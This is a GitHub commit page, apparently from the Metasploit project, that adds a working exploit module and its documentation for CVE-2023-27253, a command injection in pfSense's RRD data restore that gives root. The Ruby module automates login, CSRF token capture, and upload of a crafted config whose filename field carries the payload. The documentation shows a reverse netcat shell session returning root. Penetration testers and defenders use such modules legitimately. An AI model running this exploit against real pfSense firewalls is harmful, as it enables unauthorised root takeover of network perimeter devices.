-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #17861, pfSense Config Data RCE as root
This module exploits a vulnerability in pfSense version 2.6.0 and below which allows for authenticated users to execute arbitrary operating systems commands as root.
- Loading branch information
Showing
2 changed files
with
301 additions
and
0 deletions.
There are no files selected for viewing
61 changes: 61 additions & 0 deletions
61
documentation/modules/exploit/unix/http/pfsense_config_data_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits an authenticated command injection vulnerabilty in the `restore_rrddata()` function of | ||
pfSense prior to 2.7.0 which allows an authenticated attacker with the `WebCfg - Diagnostics: Backup & Restore` privilege | ||
to execute arbitrary operating system commands as the `root` user. | ||
|
||
This module has been tested successfully on version 2.6.0-RELEASE. | ||
|
||
### Installing the Application | ||
Download the ISO from [pfSense 2.6.0-RELEASE](https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz) | ||
and then create a VMWare or VirtualBox VM using this ISO. | ||
|
||
Note that you may wish to use the BIOS boot method when prompted for which method to use for installation, | ||
rather than ZFS or UEFI for testing purposes, just to simplify setup. Otherwise you can accept the default settings. | ||
|
||
Once installation is finished you should be prompted to reboot. Reboot, then enter `n` when asked if you want to set up VLANs. | ||
|
||
For the WAN prompt enter `em0` which should work, or whatever one other than `a` that appears in the prompt and hit ENTER. | ||
|
||
Wait for setup to complete then try to browse to `http://<IP ADDRESS SHOWN HERE>/` replacing the | ||
placeholder with the IP address shown in the prompt. You should see the login page for pfSense. | ||
|
||
Log in with username `admin` and password `pfsense`. There should be a setup GUI that appears. Accept all the defaults | ||
and keep clicking `Next` at each of the steps and then `Finish` at the final step. Finally click `Accept` on the export | ||
warning page and `Close` on the following popup. You should now see the main dashboard and should be ready to test the | ||
module. | ||
|
||
## Verification Steps | ||
1. Start `msfconsole` | ||
2. Do: `use exploit/unix/http/pfsense_config_data_exec` | ||
3. Do: `set RHOST [IP]` | ||
4. Do: `set USERNAME [username]` | ||
5. Do: `set PASSWORD [password]` | ||
6. Do: `set LHOST [IP]` | ||
7. Do: `exploit` | ||
|
||
## Options | ||
|
||
## Scenarios | ||
|
||
### pfSense Community Edition 2.6.0-RELEASE | ||
|
||
``` | ||
msf6 exploit(unix/http/pfsense_config_data_exec) > use exploit/unix/http/pfsense_config_data_exec | ||
[*] Using configured payload cmd/unix/reverse_netcat | ||
msf6 exploit(unix/http/pfsense_config_data_exec) > set RHOST 1.1.1.1 | ||
RHOST => 1.1.1.1 | ||
msf6 exploit(unix/http/pfsense_config_data_exec) > set LHOST 2.2.2.2 | ||
LHOST => 2.2.2.2 | ||
msf6 exploit(unix/http/pfsense_config_data_exec) > exploit | ||
[*] Started reverse TCP handler on 2.2.2.2:4444 | ||
[*] pfSense version: 2.6.0-RELEASE | ||
[+] The target is vulnerable. | ||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:21942) at 2023-03-26 02:10:48 +0300 | ||
id | ||
uid=0(root) gid=0(wheel) groups=0(wheel) | ||
whoami | ||
root | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,240 @@ | ||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
include Msf::Exploit::FileDropper | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'pfSense Restore RRD Data Command Injection', | ||
'Description' => %q{ | ||
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of | ||
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore" | ||
privilege to execute arbitrary operating system commands as the "root" user. | ||
This module has been tested successfully on version 2.6.0-RELEASE. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Emir Polat', # vulnerability discovery & metasploit module | ||
], | ||
'References' => [ | ||
['CVE', '2023-27253'], | ||
['URL', 'https://redmine.pfsense.org/issues/13935'], | ||
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94'] | ||
], | ||
'DisclosureDate' => '2023-03-18', | ||
'Platform' => ['unix'], | ||
'Arch' => [ ARCH_CMD ], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
[ 'Automatic Target', {}] | ||
], | ||
'Payload' => { | ||
'BadChars' => "\x2F\x27", | ||
'Compat' => | ||
{ | ||
'PayloadType' => 'cmd', | ||
'RequiredCmd' => 'generic netcat' | ||
} | ||
}, | ||
'DefaultOptions' => { | ||
'RPORT' => 443, | ||
'SSL' => true | ||
}, | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
|
||
register_options [ | ||
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), | ||
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']) | ||
] | ||
end | ||
|
||
def check | ||
unless login | ||
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!") | ||
end | ||
|
||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), | ||
'method' => 'GET', | ||
'keep_cookies' => true | ||
) | ||
|
||
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? | ||
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 | ||
|
||
unless res&.body&.include?('Diagnostics: ') | ||
return Exploit::CheckCode::Safe('Vulnerable module not reachable') | ||
end | ||
|
||
version = detect_version | ||
unless version | ||
return Exploit::CheckCode::Detected('Unable to get the pfSense version') | ||
end | ||
|
||
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE') | ||
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected") | ||
end | ||
|
||
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!") | ||
end | ||
|
||
def login | ||
# Skip the login process if we are already logged in. | ||
return true if @logged_in | ||
|
||
csrf = get_csrf('index.php', 'GET') | ||
unless csrf | ||
print_error('Could not get the expected CSRF token for index.php when attempting login!') | ||
return false | ||
end | ||
|
||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'index.php'), | ||
'method' => 'POST', | ||
'vars_post' => { | ||
'__csrf_magic' => csrf, | ||
'usernamefld' => datastore['USERNAME'], | ||
'passwordfld' => datastore['PASSWORD'], | ||
'login' => '' | ||
}, | ||
'keep_cookies' => true | ||
) | ||
|
||
if res && res.code == 302 | ||
@logged_in = true | ||
true | ||
else | ||
false | ||
end | ||
end | ||
|
||
def detect_version | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'index.php'), | ||
'method' => 'GET', | ||
'keep_cookies' => true | ||
) | ||
|
||
# If the response isn't a 200 ok response or is an empty response, just return nil. | ||
unless res && res.code == 200 && res.body | ||
return nil | ||
end | ||
|
||
if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil? | ||
nil | ||
else | ||
version | ||
end | ||
end | ||
|
||
def get_csrf(uri, methods) | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, uri), | ||
'method' => methods, | ||
'keep_cookies' => true | ||
) | ||
|
||
unless res && res.body | ||
return nil # If no response was returned or an empty response was returned, then return nil. | ||
end | ||
|
||
# Try regex match the response body and save the match into a variable named csrf. | ||
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil? | ||
return nil # No match could be found, so the variable csrf won't be defined. | ||
else | ||
return csrf | ||
end | ||
end | ||
|
||
def drop_config | ||
csrf = get_csrf('diag_backup.php', 'GET') | ||
unless csrf | ||
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!') | ||
end | ||
|
||
post_data = Rex::MIME::Message.new | ||
|
||
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"') | ||
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"') | ||
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"') | ||
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"') | ||
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"') | ||
post_data.add_part('', nil, nil, 'form-data; name="restorearea"') | ||
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"') | ||
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"') | ||
|
||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), | ||
'method' => 'POST', | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
'data' => post_data.to_s, | ||
'keep_cookies' => true | ||
) | ||
|
||
if res && res.code == 200 && res.body =~ /<rrddatafile>/ | ||
return res.body | ||
else | ||
return nil | ||
end | ||
end | ||
|
||
def exploit | ||
unless login | ||
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!') | ||
end | ||
|
||
csrf = get_csrf('diag_backup.php', 'GET') | ||
unless csrf | ||
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!') | ||
end | ||
|
||
config_data = drop_config | ||
if config_data.nil? | ||
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!') | ||
end | ||
|
||
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil? | ||
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!') | ||
end | ||
config_data.gsub!(' ', '${IFS}') | ||
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};") | ||
|
||
post_data = Rex::MIME::Message.new | ||
|
||
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"') | ||
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"') | ||
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"') | ||
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"') | ||
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"') | ||
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"') | ||
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"') | ||
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"") | ||
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"') | ||
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"') | ||
|
||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), | ||
'method' => 'POST', | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
'data' => post_data.to_s, | ||
'keep_cookies' => true | ||
) | ||
|
||
if res | ||
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.") | ||
end | ||
end | ||
end |